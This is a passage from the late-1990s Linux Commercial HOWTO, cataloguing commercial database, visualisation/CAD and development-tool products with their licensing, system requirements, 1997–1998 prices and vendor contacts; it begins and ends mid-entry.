At least 2 MB RAM, recommended are 8 MB; harddisk about 3-4 MB.

Documentation:

English manuals and online help. WWW.

Product support:

Available.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

SOLID Desktop US$99, SOLID Server US$199/seat, SOLID Web Engine US$495.

Vendor:

Solid Information Technology Ltd

Huovitie 3
FIN-00400 Helsinki
Finland

Phone:

+358 9 477 4730

Fax:

+358 9 477 47 390

EMail:

info@solidtech.com

URL:

http://www.solidtech.com

Last modified:

August 4, 1997.

7.12 Velocis Database Server

Description:

Velocis Database Server is designed for database application developers who are looking for a high performance client/server or web database engine. Velocis is a scaleable SQL client/server database engine that provides a rich set of architectural choices and APIs including ANSI SQL, SQL C-API, low-level C-API, C++ class libraries, and support for custom APIs. Unlike typical relational client/server database products, Velocis supports both relational and pointer-based network model databases in any combination as well as processing on either side of the client/server equation. The choices of multiple operating platforms, APIs, processing locality (client or server), and database model can be mixed and combined to satisfy the performance requirements of virtually any application.

Distribution media:

3.5" diskettes and tape.

Licensing policy:

Pay for development license. Runtimes are requires to distribute applications.

Documentation:

Extensive documentation available from Raima Corporation, dealing with all aspects of database, C API and C++ class library.

Product support:

Available from Raima Corporation on annual basis, raining available.

Extra features and add-ons:

Windows GUI Report Writer, Raima Object Manager.

Available since:

1993, originally called Raima Database Server.

Countries with distribution:

World wide.

Price range:

1-8 users: US$1,995, 1-25 users: US$3,995, unlimited: US$8,995.

Vendor:

Raima Corporation

4800 Columbia Center
701 5th Avenue
Seattle, WA 98104

Phone:

+1 800 327 2462, +1 206 515 9477

Fax:

+1 206 748 5200

EMail:

sales@raima.com

URL:

http://www.raima.com

Contact:

Dave Morse

Last modified:

November 4, 1997.

7.13 Yard SQL

Description:

The YARD company offers the following products:

  • YARD-SQL -- Relational SQL client/server database with compliance to X/Open XPG4 and ANSI SQL 92 including network support for accessing remote databases
  • YARD-ESQLC -- Embedded SQL for C
  • YARD-ODBC -- ODBC interface for MS Windows clients
  • YARD-X -- Motif client for database access (No development tool)
  • YARD-JDBC -- Java Interface

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

License number and activation key for each product and installation with user dependent licenses. A Private Edition (limited to 1 user and 5 MB database) for non commercial private use and for evaluation is available at ftp://ftp.yard.de.

OS provisions:

Linux ELF version; RAM usage: 1 MB (minimum) for shared memory, 500 KB per user. Disk usage: YARD-SQL 10 MB, YARD-ESQLC 1 MB, YARD-ODBC 1.5 MB and YARD-X 5 MB.

Documentation:

Printed 600 pages reference and users guide in German. English documentation is available only as PostScript file.

Product support:

Upon request.

Extra features and add-ons:

All products also available for other widely distributed Unix systems (e.g. SCO Unix, SPARC Solaris, IBM, HP, SGI).

Available since:

January, 1994.

Countries with distribution:

Contact YARD Software GmbH for information about resellers.

Price range:

Upon request.

Vendor:

YARD Software GmbH

Wikingerstr. 18
D-51107 Köln
Germany

Fax:

+49 221 98664 99

EMail:

yard@yard.de

URL:

http://www.yard.de

FTP:

ftp://ftp.yard.de

Contact:

Thomas Schonhoven <thomass@yard.de>

Last modified:

August 4, 1997.


Linux Commercial HOWTO: Data Visualisation and CAD

 Next Previous Contents

8. Data Visualisation and CAD

8.1 IDL (Interactive Data Language)

Description:

IDL is powerful software for data analysis, visualization, and application development. IDL's features include flexible I/O, object-oriented programming, 2D plotting, 3D graphics, volume rendering, image processing, mathematics, statistics, a cross-platform GUI toolkit, plus a high-level, array-oriented programming language. Use IDL for visual data analysis, rapid prototyping, or application development. IDL programs, including their graphical user interfaces, are portable across Linux, Windows 3.11, Windows 95, Windows NT, Mac, PowerMac, Unix and VMS.

The IDL-Student Version is a functionality-limited version of IDL 5.0. It is designed to compliment IDL-teaching lab environments and give students access to software specifically designed for technical curriculums including physics, astronomy, engineering, earth sciences, medical sciences and computer science. For more information or to place an order, visit our web site.

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

Free demo CD-ROM available or download via FTP.

OS provisions:

IDL 5.0 for Linux is built using the Linux 2.0.18 kernel and the Red Hat version 4.0 Linux distribution.

Documentation:

3000+ pages of documentation on paper and hypertext online help.

Product support:

Customer support service, maintenance/update service, training and consulting are available. In addition, a Usenet group is devoted to IDL.

Extra features and add-ons:

ENVI: remote sensing image processing application, DataMiner: ODBC database access, HDF, CDF, netCDF support, animation, volume slicer, high resolution mapping.

Available since:

May, 1997.

Countries with distribution:

Ask vendor.

Price range:

Contact vendor/distributor.

Vendor:

Research Systems, Inc.

2995 Wilderness Place
Boulder, CO 80301
U.S.A.

Phone:

+1 303 786 9900

Fax:

+1 303 786 9909

EMail:

info@rsinc.com

URL:

http://www.rsinc.com

FTP:

ftp://ftp.rsinc.com

Last modified:

November 5, 1997.

8.2 Megahedron

Description:

A flexible and powerful 3D graphics engine controlled by a high-level interpreted language called SMPL. With it, you can learn about 3D, write your own interactive simulations, animations, and ray-tracings. You can even write your own shaders, customize procedural objects and motions, and use up to 64 computers at once for net rendering. Includes executables for Windows 95, Windows NT x86 and Alpha, SGI Irix and Linux.

Distribution media:

CD-ROM, ISO-9660 and Rock Ridge.

Licensing policy:

Very flexible. The owner is allowed to run as many copies as they can, on any platforms. Demo version, full documentation and sample images and scripts available on our web site.

OS provisions:

Supports kernel 1.2.8 or 1.3.15. Non-ELF, a.out executable (QMAGIC). 16 MB of RAM minimum recommended. 7 MB free disk space recommended.

Documentation:

In HTML on CDROM.

Product support:

Private news server, EMail. Patches on web site.

Extra features and add-ons:

Everything included on one CD-ROM.

Available since:

August, 1996.

Countries with distribution:

World wide, direct and through dealers.

Price range:

US$99

Vendor:

Syndesis Corporation

235 South Main Street
Jefferson, WI 53549
U.S.A.

Phone:

+1 414 674 5200

Fax:

+1 414 674 6363

EMail:

syndesis@threedee.com

URL:

http://www.threedee.com

Contact:

John Foust <jfoust@threedee.com>

Last modified:

November 3, 1997.

8.3 Tecplot 7.0

Description:

Tecplot is interactive data visualization software for XY plotting, 2D and 3D mesh, contour, vector, scatter, and shade plots. For more information, see the Amtec Engineering web site.

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

Either personal licenses (node locked) or network licenses. Evaluation copies available on CD-ROM or by anonymous FTP.

OS provisions:

12 MB minimum, Linux 1.2 or newer (available in both statically linked and dynamically linked versions). Use the statically linked version if your system does not have Motif 1.2 or newer installed. 32 MB RAM is recommended.

Documentation:

Printed User's and Reference Manuals, full online help. English.

Product support:

Update and technical support included with license for first three months. Extra charge (ask for EUSS) after that. Training courses available.

Available since:

V7 since September 1996, V6 since August 1993.

Countries with distribution:

Many, see Amtec web site.

Price range:

US$1795 for personal license, US$2395 for single-user network license, US$1795 for each additional user. All prices the USA and Canada only.

Vendor:

Amtec Engineering, Inc

PO Box 3633
Bellevue, WA 98009-3633
U.S.A.

Phone:

+1 800 676 7568, +1 425 827 3304

Fax:

+1 425 827 3989

EMail:

tecplot@amtec.com

URL:

http://www.amtec.com

Last modified:

August 4, 1997.

8.4 VariCAD

Description:

Mechanical CAD system available for Linux and Windows 95 and Windows NT.

The system is equipped with all basic resources necessary both for constructors' and designers' work in engineering. It includes functions for 3D modeling, 2D drawing, editing, transformations, working with user defined objects, block, group and symbol creating capabilities. The whole system is very customizable and widely open.

Distribution media:

CD-ROM, Internet (WWW).

Licensing policy:

Free demo version available on our web site.

OS provisions:

Kernel version 2.0 or higher, XFree86 version 3.1+, RAM 16 MB, harddisk 20 MB, libc 5.4.

Documentation:

Online help, English.

Product support:

New version about every three months.

Extra features and add-ons:

New versions during first year free.

Available since:

1991.

Countries with distribution:

World wide.

Price range:

US$dollar;199-$499.

Vendor:

VariCAD

931 Greenbriar Avenue
Ottawa, ON K2C 0J8
Canada

P. O. Box 38
Liberec 2
460 02
Czech Republic

Phone:

+1 613 723 5319

Fax:

+1 613 723 5319

EMail:

mail@varicad.com

URL:

http://www.varicad.com

Contact:

Petr Placek

Last modified:

August 15, 1998.

8.5 VARKON

Description:

A high level development tool for CAD and Product modeling applications. Interactive parametric modelling in 2D and 3D with object oriented database. High level CAD and modelling language MBS included.

Distribution media:

Internet (WWW).

Licensing policy:

Free binary for Linux.

OS provisions:

Requires X but not Motif. Needs 3 MB of harddisk for basic installation and 3MB of RAM to run.

Documentation:

400 pages of documentation included in the free version for Linux.

Product support:

Service with continous updates and free consultation available for US $75/month.

Extra features and add-ons:

Additional plotterdrivers available free of charge.

Available since:

July, 1996.

Countries with distribution:

World wide.

Price range:

Linux version is free of charge.

Vendor:

Microform AB

Henningsholmsgatan 4
S-703 69 Orebro
Sweden

Phone:

+46 19314932

Fax:

+46 19314969

EMail:

info@microform.se

URL:

http://www.microform.se

Contact:

Johan Kjellander

Last modified:

September 30, 1997.

8.6 XVScan

Description:

Image scanning and manipulation software for HP ScanJet scanners.

Distribution media:

Internet (EMail and FTP). 4mm DDS2 DAT tape or 3.5 diskettes (additional US$15 in the USA, US$25 international).

Licensing policy:

XVScan is based on XV and is not available in demo version due to licensing restrictions. Distributed with full source code.

OS provisions:

Linux, tested with 1.2.x and 2.0.x, requires a recent generic SCSI driver support to be built in (no earlier than 1.1.79). Motif is not required. Any XFree version (X11R5, X11R6).

Documentation:

Online, WWW, English.

Product support:

Updates free for first year.

Extra features and add-ons:

Also available for HP-UX, BSD/OS 2.2 and 3.0, SunOS 4.1.x, Solaris 2.x, and FreeBSD.

Available since:

May, 1995.

Countries with distribution:

World wide.

Price range:

US$50 for FTP or EMail shipping. Additional US$15 for media in the United States, US$15, internationally. Mastercard, Visa and Discover, and American Express Credit Cards accepted.

Vendor:

tummy.com, ltd.

3506 Stratton Drive
Fort Collins, CO 80525-2722
U.S.A.

Phone:

+1 970 223 8215

Fax:

+1 408 490 2728

EMail:

xvscan@tummy.com

URL:

http://www.tummy.com/xvscan

Contact:

Sean Reifschneider <jafo@tummy.com> or Evelyn Mitchell <efm@tummy.com>

Last modified:

August 4, 1997.


Linux Commercial HOWTO: Development Tools

 Next Previous Contents

9. Development Tools

9.1 ACUCOBOL-GT

Description:

ACUCOBOL-GT is an ANSI-85 COBOL development system with compiler, runtime, debugger, support utilities and documentation. It offers single source hardware independence, GUI COBOL, client/server capabilities, multithreading support, and data source flexibility. Additionally, ACUCOBOL-GT is year 2000 compliant.

Distribution media:

currently 3,5" diskettes (A CD-ROM is planned for 2Q/98).

Licensing policy:

Runtime license for each installed application including license fees for all products free of charge 30 day evaluation copy available on our web site.

OS provisions:

Linux a.out and ELF. Tested on Red Hat Linux 4.1 with kernel version 2.0.30.

Documentation:

Printed dccumentation for all products (english), online documentation for web evaluation copy.

Product support:

Update service (annual fee is 20% of product list price), training courses for core products (DM 600/day at scheduled dates), technical support included in update service.

Available since:

February, 1995.

Countries with distribution:

World wide.

Price range:

US$1.500 for single user development system (Linux), US$300 for each additional developer, runtime fees on request (price is depending on contract form).

Vendor (Germany):

Acucobol Deutschland GmbH

Otto-Hahn-Str. 9
D-61381 Friedrichsdorf
Germany

Phone:

+49 6175 93310

Fax:

+49 6175 1429

EMail:

aschmidt@acucobol.de

Contact:

Annette Schmidt

Vendor (USA):

Acucobol, Inc.

7950 Silverton Avenue, Suite #201
San Diego, CA 92126
U.S.A.

Phone:

+1 800 COBOL 85, +1 619 6897220

Fax:

+1 619 566 3071

EMail:

info@acucobol.com

URL:

http://www.acucobol.com

Contact:

Jeff Freedman

Last modified:

November 1, 1997.

9.2 Amzi! Prolog & Logic Server

Description:

Amzi! enables the easy integration of intelligent components with conventional applications allowing you to add logic-bases that give advice, configure and tune systems, diagnose problems, apply business rules, monitor processes and parse documents. Your applications access a logic-base of rules just as a database server accesses records. The rules are expressed in Prolog which has powerful, built-in search and pattern matching capabilities. The Amzi! Logic Server is encapsulated as a C++ Class and C API Interface. You can add your own Prolog functions in C/C++. Includes: compiler, listener, debugger, linker, EXE, generator, call-in/call-out Logic Server API, full documentation, comprehensive Prolog tutorial and lots of sample code.

Distribution media:

Internet.

Licensing policy:

The Professional Edition includes an unlimited, royalty-free license. The Personal Edition is limited to distributing applications for non-commercial use only.

OS provisions:

About 350 KB of RAM for typical small application, 3-4 MB disk.

Documentation:

HTML format, includes full Prolog tutorial.

Product support:

Subscription Plus service provides automatic updates for a full year, $198. Custom development services available.

Linux Support:

No Linux system included. For Amzi! software, free tech support for registered users by phone, fax and EMail.

Available since:

November 3, 1995.

Countries with distribution:

World wide.

Price range:

Personal (Shareware), $49. Professional, $298.

Vendor:

Amzi! inc.

40 Samuel Prescott Drive
Stow, MA 01775
U.S.A.

Phone:

+1 508 897 7332

Fax:

+1 508 897 2784

EMail:

info@amzi.com

URL:

http://www.amzi.com

Contact:

Mary Kroening

Last modified:

August 4, 1997.

9.3 Basmark QuickBASIC

Description:

The Basmark QuickBASIC Compiler is a multi-user IBM-PC BASICA, MBASIC and Microsoft QuickBASIC Compiler designed to provide performance and consistency across a variety of machines (e.g. i386 and i486, Pentium, SPARC, RS/6000, HP PA-RISC) under Unix, AIX, SunOS, Linux, HP-UX and Xenix.

Distribution media:

Internet.

Licensing policy:

Per machine, no run-time restrictions.

OS provisions:

GNU GAS and LD must be installed.

Documentation:

400+ page manual, release and installation notes available in hardcopy form for an additional US$50 (plus shipping).

Product support:

Updates available for US$139 less shipping. Maintenance contracts available.

Extra features and add-ons:

C-ISAM (Informix Inc.) Interface in C source code form. Cost is US$35.

Available since:

December, 1993.

Countries with distribution:

World wide.

Price range:

US$195.

Vendor:

Basmark Corporation

P.O. Box 40450
Cleveland, OH 44140
U.S.A.

Phone:

+1 216 871 8855

Fax:

+1 216 871 9011

EMail:

jgo@basmark.com (for orders)

URL:

http://www.basmark.com

Contact:

Joseph O'Toole (for orders)

Last modified:

November 4, 1997.

9.4 Critical Mass CM3

Description:

Systems development compiler and runtime.

Distribution media:

Internet (WWW).

Licensing policy:

Commercial with library source, evaluation licenses available for download at http://www.cmass.com/cm3.

OS provisions:

Linux/ELF.

Documentation:

Online.

Product support:

Optional.

Extra features and add-ons:

See http://www.cmass.com/cm3

Available since:

May, 1996.

Countries with distribution:

USA.

Price range:

US$479/seat.

Vendor:

Critical Mass, Inc.

Critical Mass, Inc.
225R Concord Avenue
Cambridge, MA 02138
U.S.A.

Phone:

+1 617 354 6277

Fax:

+1 617 354 5027

EMail:

info@cmass.com

URL:

http://www.cmass.com

Last modified:

May 19, 1997.

9.5 Dynace

Description:

Dynace (pronounced like ``dynasty'' without the ``t'') is a preprocessor, include files and a library which extends the C language with advanced object oriented capabilities, automatic garbage collection and multiple threads. Dynace is designed to solve many of the problems associated with C++ while being easier to learn and containing more flexable object oriented facilities. Dynace is able to add facilities previously only available in languages such as Smalltalk and CLOS without all the overhead normally associated with those environments.

Distribution media:

Internet (WWW); including full C source code.

Licensing policy:

One license per programmer; Applications are royalty free. Full system is on http://www.edge.net/algorithms. Free for non-commercial use.

OS provisions:

Any Linux.

Documentation:

310 pages; in Postscript, HP PCL, or TeX DVI.

Product support:

Dynace-support@edge.net

Extra features and add-ons:

Complete Windows development system.

Available since:

December, 1993.

Price range:

US$599.

Vendor:

Algorithms Corporation

3020 Liberty Hills Drive
Franklin, TN 37067
U.S.A.

Phone:

+1 800 566 8991, +1 615 791 1636

Fax:

+1 615 791 7736

EMail:

blake@edge.net

URL:

http://www.edge.net/algorithms

Contact:

Blake McBride

Last modified:

August 4, 1997.

9.6 Absoft Fortran 77

Description:

VAX/VMS compatible ANSI Fortran 77 compiler and debugger.

Distribution media:

3.5" diskettes.

Licensing policy:

Single user license; multi-user packages also available.

OS provisions:

Linux 1.2.13.

Documentation:

300+ pages hard copy documentation.

Product support:

No-charge technical support.

Available since:

March, 1996.

Countries with distribution:

World wide.

Price range:

US$525-$2,000.

Vendor:

Absoft Corporation

2781 Bond Street
Rochester Hills, MI 48309
U.S.A.

Phone:

+1 248 853 0050

Fax:

+1 248 853 0108

EMail:

sales@absoft.com

URL:

http://www.absoft.com

Contact:

Wood Lotz

Last modified:

August 7, 1997.

9.7 Finesse

Description:

OSF/Motif GUI for shell scripts.

Distribution media:

Internet (FTP).

Licensing policy:

Finesse is a fully commercial product for other Unixes where nodelocked licenses are possible. The Linux version is freely available via FTP. Floppy medium is DM 90.

OS provisions:

ELF Libraries. X11R6. No Motif required.

Documentation:

PostScript File.

Product support:

No support for free version.

Available since:

May, 1995.

Countries with distribution:

World wide.

Price range:

Free demo. Commercial version with support on request.

Vendor:

science + computing GmbH

Hagellocher Weg 71
D-72070 Tübingen
Germany

Phone:

+49 7071 9457 0

Fax:

+49 7071 9457 27

EMail:

info@science-computing.de

URL:

http://www.science-computing.de

FTP:

ftp://ftp.science-computing.de/pub/finesse.

Contact:

Olaf Flebbe

Last modified:

February 25, 1997.

9.8 ISE Eiffel

Description:

ISE Eiffel is a seamless object-oriented development environment. ISE Eiffel provides an integrated solution for software developers through pure object-oriented methods, from analysis and design through code generation, maintenance, and reverse engineering.

The components of ISE Eiffel include EiffelBench, EiffelBase, EiffelBuild, EiffelVision, EiffelLex, EiffelParse, EiffelNet, EiffelStore, ObjEdit, EiffelCase, EiffelMath, EiffelWeb, DLE (Dynanic Linking in Eiffel) and SCOOP (Distribution/Concurrency mechanism).

Distribution media:

CD-ROM and Internet (FTP and WWW)

Licensing policy:

No run-time fees are required for products, commercial or otherwise, developed with ISE's technology. In the case of commercial products we simply require the product and its documentation to acknowledge ISE Eiffel clearly. The copyright holder must acknowledge the product's use/incorporation of ISE Eiffel by (a) Featuring "ISE Eiffel" prominently in product documentation, and (b) Featuring an "ISE Eiffel" software window or pop-up message clearly visible during the copyrighted product's installation process.

OS provisions:

Linux ELF or a.out.

Documentation:

Printed documentation. Additional online help.

Product support:

Update service, maintenance, training available.

Available since:

August, 1994.

Countries with distribution:

World wide.

Price range:

Starting at US$99.

Vendor:

Interactive Software Engineering, Inc.

ISE Building
270 Storke Road, 2nd Floor
Goleta, CA 93117
U.S.A.

Phone:

+1 805 685 1006

Fax:

+1 805 685 6869

EMail:

info@eiffel.com

URL:

http://www.eiffel.com

Last modified:

October 3, 1997.

9.9 EiffelBench

Description:

Object-oriented CASE Workbench.

Distribution media:

CD-ROM and Internet (FTP and WWW).

Licensing policy:

No run-time fees are required for products, commercial or otherwise, developed with ISE's technology. In the case of commercial products we simply require the product and its documentation to acknowledge ISE Eiffel clearly. The copyright holder must acknowledge the product's use/incorporation of ISE Eiffel by (a) Featuring "ISE Eiffel" prominently in product documentation, and (b) Featuring an "ISE Eiffel" software window or pop-up message clearly visible during the copyrighted product's installation process.

OS provisions:

Linux ELF or a.out.

Documentation:

Eiffel: The Environment. Language References.

Product support:

Update service, maintenance, training available.

Available since:

August, 1994.

Countries with distribution:

World wide.

Price range:

Starting at US$99.

Vendor:

Interactive Software Engineering, Inc.

ISE Building
270 Storke Road, 2nd Floor
Goleta, CA 93117
U.S.A.

Phone:

+1 805 685 1006

Fax:

+1 805 685 6869

EMail:

info@eiffel.com

URL:

http://www.eiffel.com

Last modified:

October 3, 1997.

9.10 C-Forge IDE

Description:

C-Forge is a highly scalable, multi-user integrated development environment that provides full project management and complete edit, compile and debug cycle support. Includes its own full-featured editor, revision control tool and diff tool. Drag and drop is enabled throughout the environment. Allows easy configuration and use of external tools. Currently supports C/C++ -- more languages on the way.

Distribution media:

Internet (FTP).

Licensing policy:

Single user and floating multi user licenses available. Free demo available at our web site.

OS provisions:

Works with Linux kernels 2.0.x and 2.1.x. Installations available in tar.gz and RPM formats.

Documentation:

Online.

Product support:

By EMail.

Extra features and add-ons:

We add the features you want to future versions of C-Forge.

Available since:

February, 1998.

Countries with distribution:

World wide.

Price range:

US$30 for single user version. Contact for corporate pricing policies. Educational discounts available.

Vendor:

Code Forge Inc.

EMail:

consult@codeforge.com

URL:

http://www.codeforge.com

Contact:

Yuri Mironoff

Last modified:

February 8, 1998.

9.11 IdeaFix

Description:

The InterSoft Development Environment for Applications in Unix, or IdeaFix, is a set of programming tools and utilities designed to provide an integrated environment for programmers as well as end-users. The aim of IdeaFix is to maximize performance and productivity for both.

For the end-user, IdeaFix offers a user-friendly interface and an online help system. IdeaFix provides the developer with tools to simplify development of such design criteria as relational databases and modular structured programming.

Distribution media:

4/8 mm. DAT, 150/525 MB tape. Academic version available from:

  • ftp://ftp.inter-soft.com/pub/ideafix
  • http://www.inter-soft.com/html/products/ideafix

Licensing policy:

Commercial.

OS provisions:

20 MB disk space, and GNU C/C++ compiler.

Documentation:

Available in PostScript.

Product support:

Contact ideafix-info@inter-soft.com for more information.

Extra features and add-ons:

SQL server, Dali - Development Environment, Cracker for Windows.

Available since:

1986.

Countries with distribution:

Argentina, Brazil, Russia, Mexico, Venezuela and USA.

Price range:

Linux version for free (with some restrictions). Other prices available on request.

Vendor:

InterSoft Argentina S.A.

Córdoba 883 9th. Floor
Capital Federal (1054)
Argentina

Phone:

+54 1 318 8900

Fax:

+54 1 318 8997

EMail:

info@inter-soft.com

URL:

http://www.inter-soft.com

Last modified:

August 4, 1997.

9.12 j-tree

Description:

Harness the power of Java clients while maintaining a legacy database on wide variety of O/S. Java API with c-tree Plus' ISAM functionality gives Java functionality through native methods/RMI. j-tree utilizes the power/flexibility of FairCom's full line of database Servers.

Distribution media:

3.5" diskettes.

Licensing policy:

A licensed copy of c-tree Plus, thereafter royalty free.

OS provisions:

2 MB of RAM.

Documentation:

Full online documentation with CD-ROM, available in English and Japanese.

Product support:

Three months of full technical support from purchase date.

Available since:

August, 1997.

Countries with distribution:

World wide.

Price range:

Upon request.

Vendor:

FairCom

4006 W. Broadway
Columbia, MO 65203-0100
U.S.A.

Phone:

+1 573 445 6833

Fax:

+1 573 445 9698

EMail:

Faircom@faircom.com

URL:

http://www.faircom.com

Contact:

Tamra Brown <tami@faircom.com>

Vendor:

FairCom Europe

Via Patrioti 6
I-24021 Albino
Italy

Phone:

+39 35 773 464

Fax:

+39 35 773 806

EMail:

Europe@faircom.com

Vendor:

FairCom Japan

Ikeda Bldg. #3 4F, 112-5
Komei-chou, Tsu-city MIE 514
Japan

Phone:

+81 059 229 7504

Fax:

+81 059 249 723

Vendor:

FairCom do Brasil Ltda.

Phone:

+55 11 3872 9802

Fax:

+55 11 3862 1752

EMail:

Brazil@faircom.com

Last modified:

August 9, 1997.

9.13 KAI C++

Description:

The KAI C++ compiler provides conformance to the latest draft standard, high performance, low abstraction penalty, identical syntax and libraries on all supported platforms and superior customer support. No other compiler is as close to the draft standard.

Distribution media:

Internet (FTP and WWW).

Licensing policy:

Commercial. 30 day free trial available at http://www.kai.com/kcc_howto.shtml

OS provisions:

Red Hat Linux 2.1 or later. Other Software: gcc 2.7.2.1. Disk space: 15 MB.

Documentation:

Complete online documentation is supplied.

Product support:

No-charge technical support. Annual Support service provides automatic updates for a full year, US$79.

Available since:

May, 1997.

Countries with distribution:

World wide.

Price range:

US$395 single processor; US$545 multiprocessor.

Vendor:

Kuck & Associates, Inc.

1906 Fox Drive
Champaign, IL  61820-7345
U.S.A.

Phone:

+1 217 356 2288

Fax:

+1 217 356 5199

EMail:

kai@kai.com

URL:

http://www.kai.com/kcc_howto.shtml

Contact:

Bruce Leasure <bruce@kai.com>

Last modified:

July 14, 1997.

9.14 Khoros Pro 2.1

Description:

Khoros Pro 2.2 is a software development environment with extensive image processing, software development, and data visualization capabilities.

Distribution media:

CD-ROM.

Licensing policy:

Single user license comes with Khoros Pro CD-ROM. For software developers, independent software developer licenses are available.

OS provisions:

Linux 2.0.18, gcc 2.7.2, Fortran compiler f2c 19951025+ AT&T Bell Labs.

Documentation:

Printed documentation; Installation Guide and User's Guide come with the CD-ROM. Five volume Developer's Manual set available from KRI.

Product support:

Training in Software Development and Digital Image Processing scheduled through 1998. See http://www.khoral.com/training/training.html.

Maintenance, technical and engineering support may be purchased from KRI on a negotiated basis.

Available since:

August, 1996.

Countries with distribution:

World wide. Addison Wesley selling to educational market.

Price range:

Single user Khoros Pro 2.2 is US$549. Independent software developer licenses start at US$5,000 and go up depending on platforms and organization structure. Royalty agreements can be negotiated.

Vendor:

Khoral Research Inc.

6001 Indian School NE Suite 200
Albuquerque, NM 87110
U.S.A.

Phone:

+1 505 837 6500

Fax:

+1 505 881 3842

EMail:

info@khoral.com

URL:

http://www.khoral.com

FTP:

ftp://ftp.khoral.com

Contact:

Annie MacFarlane <annie@khoral.com>

Last modified:

August 4, 1997.

9.15 MetaCard

Description:

MetaCard is a GUI development and multimedia authoring tool compatible with Apple Corporation's HyperCard. Anyone can use MetaCard to build GUI applications and hypermedia documents using a powerful, direct manipulation editor and an easy-to-learn scripting language.

MetaCard goes beyond HyperCard by including support for color controls and images, vector graphics, scrollbars, and dialog boxes. MetaCard's scripting language has support for arrays, custom (user defined) object properties, and is based on high-perforance "virtual compiler" technology. Stacks developed with MetaCard are portable among all popular Unix platforms and Windows 95/NT and can be distributed with without licensing fees or royalties.

Distribution media:

3.5" diskettes and Internet (FTP and EMail).

Licensing policy:

MetaCard can be licensed to a single, named individual, but can be used on any machine or combination of machines by that user. Multiple user packages are also available.

The save-disabled distribution is available via anonymous FTP from ftp://ftp.metacard.com/MetaCard and ftp://ftp.uu.net/vendor/MetaCard.

OS provisions:

The Linux engine is built on a 1.2.13 ELF system. Minumum 8 MB RAM for runtime, 16MB RAM for development. Minimum 640x480x8 screen resolution for runtime, 800x600x8 for development. Development system requires about 5MB disk space. GUI is Motif-compliant, but does not require Motif libraries.

Documentation:

Complete online documentation is supplied. Printed documentation is an extra-cost option.

Product support:

Free EMail technical support, phone support available at extra cost.

Extra features and add-ons:

A library version of MetaCard that can be linked directly to C programs (Embedded MetaCard) is available at extra cost.

Available since:

June, 1992.

Countries with distribution:

World wide.

Price range:

US$995 for single-user all-platform development license.

Vendor:

MetaCard Corporation

4710 Shoup pl.
Boulder, CO 80303
U.S.A.

Phone:

+1 303 447 3936

Fax:

+1 303 499 9855

EMail:

info@metacard.com

URL:

http://www.metacard.com

Last modified:

August 4, 1997.

9.16 ObjectManual Release 3.0

Description:

Automated documentation generator from C++ programs. Generates doucmentation in various formats including HTML, RTF, MIF along with Java classes.

Distribution media:

Internet (FTP and WWW).

Licensing policy:

Single, Multiple, Site and Floating Licenses.

OS provisions:

Linux ELF.

Documentation:

Provided in PostScript along with the distribution.

Product support:

Free for 30 days. Then a contract based on six month to a one year cycle.

Extra features and add-ons:

New release are released every quarter.

Available since:

1995.

Countries with distribution:

USA.

Price range:

US$2295 for most flavours of Unix. Free of charge for Linux users that work in a non-commercial environment.

Vendor:

ObjectSoftware, Inc.

3519 Misty Meadow Drive
Dallas, TX 75287
U.S.A.

Phone:

+1 214 373 2021

Fax:

+1 972 662 0756

EMail:

objsoft@netcom.com

URL:

http://www.obsoft.com

Contact:

Bobby Sardana

Last modified:

September 30, 1997.

9.17 Critical Mass Reactor

Description:

Distributed application development environment.

Distribution media:

CD-ROM.

Licensing policy:

Commercial with library source, evaluation licenses available for purchase.

OS provisions:

Linux/ELF.

Documentation:

Extensive documentation included (printed and online)

Product support:

Optional.

Extra features and add-ons:

See http://www.cmass.com/reactor/overview/index.html#reactor_features

Available since:

May, 1996.

Countries with distribution:

USA.

Price range:

US$479-$3500/seat. Discounts are available for non-commercial and academic use.

Vendor:

Critical Mass, Inc.

Critical Mass, Inc.
225R Concord Avenue
Cambridge, MA 02138
U.S.A.

Phone:

+1 617 354 6277

Fax:

+1 617 354 5027

EMail:

info@cmass.com

URL:

http://www.cmass.com

Last modified:

May 19, 1997.

9.18 Resource Standard Metrics

Description:

A source code metrics and quality analysis tool for C and C++. This creates standard metrics like Lines of Code, Cylcomatic complexity and functional analysis. This tool is portable across most all popular operating systems. The quality analysis checks for semantic errors that most compilers miss and enforces stardard software development standards.

Distribution media:

Software can be downloaded from our

web site or EMailed or shipped on floppy disk in ZIP and tar format.

Licensing policy:

Shareware licensing for the demo version which processes one file. Commercial single user and network licenses will process any number of files of any size from wild cards at the command line, from a list or recursively descend a directory tree.

OS provisions:

Linux 1.2.

Documentation:

Comes with full online documentation or printed text file. English language only.

Product support:

1 Email support. 1 year software maintenance available.

Extra features and add-ons:

Some license come with unmodifiable source code for compiling on your specific OS. Each license comes with a pretty printing utility and a DOS to Unix conversion utility.

Available since:

March, 1997.

Countries with distribution:

World wide.

Price range:

US$99.99 for single user non-source code version to US$999.95 for the network source code license.

Vendor:

M Squared Technolgies

2128 Hidden Pine Lane
Apopka, FL 32712
U.S.A.

Phone:

+1 407 880 2627

Fax:

+1 407 880 2627

EMail:

m2tech@reachus.com

URL:

http://www.m2tech.net

Last modified:

September 25, 1998.

9.19 r-tree

Description:

r-tree report generator in C source code.

Provides complex, multi-line reports by handling virtually every aspect of report generation. The only programming requirement is to call the r-tree report function, which reads c-tree data files, performs calculations, monitors control breaks and accumulators and produces a formatted report. Complete with C source code. Requires c-tree Plus.

Distribution media:

3.5" diskettes and CD-ROM.

Licensing policy:

r-tree Plus is licensed on a per programmer basis. Royalty-free distribution. Contact FairCom for possible restrictions.

Documentation:

Printed manuals distributed with product; full online documentation with CD-ROM, available in English and Japanese.

Product support:

Three months of full technical support from purchase date. Unlimited technical support and product updates available thereafter with r-tree maintenance program.

Available since:

October, 1995.

Countries with distribution:

World wide.

Price range:

US$445.

Vendor:

FairCom

4006 W. Broadway
Columbia, MO 65203-0100
U.S.A.

Phone:

+1 573 445 6833

Fax:

+1 573 445 9698

EMail:

Faircom@faircom.com

URL:

http://www.faircom.com

Contact:

Tamra Brown <tami@faircom.com>

Vendor:

FairCom Europe

Via Patrioti 6
I-24021 Albino
Italy

Phone:

+39 35 773 464

Fax:

+39 35 773 806

EMail:

Europe@faircom.com

Vendor:

FairCom Japan

Ikeda Bldg. #3 4F, 112-5
Komei-chou, Tsu-city MIE 514
Japan

Phone:

+81 059 229 7504

Fax:

+81 059 249 723

Vendor:

FairCom do Brasil Ltda.

Phone:

+55 11 3872 9802

Fax:

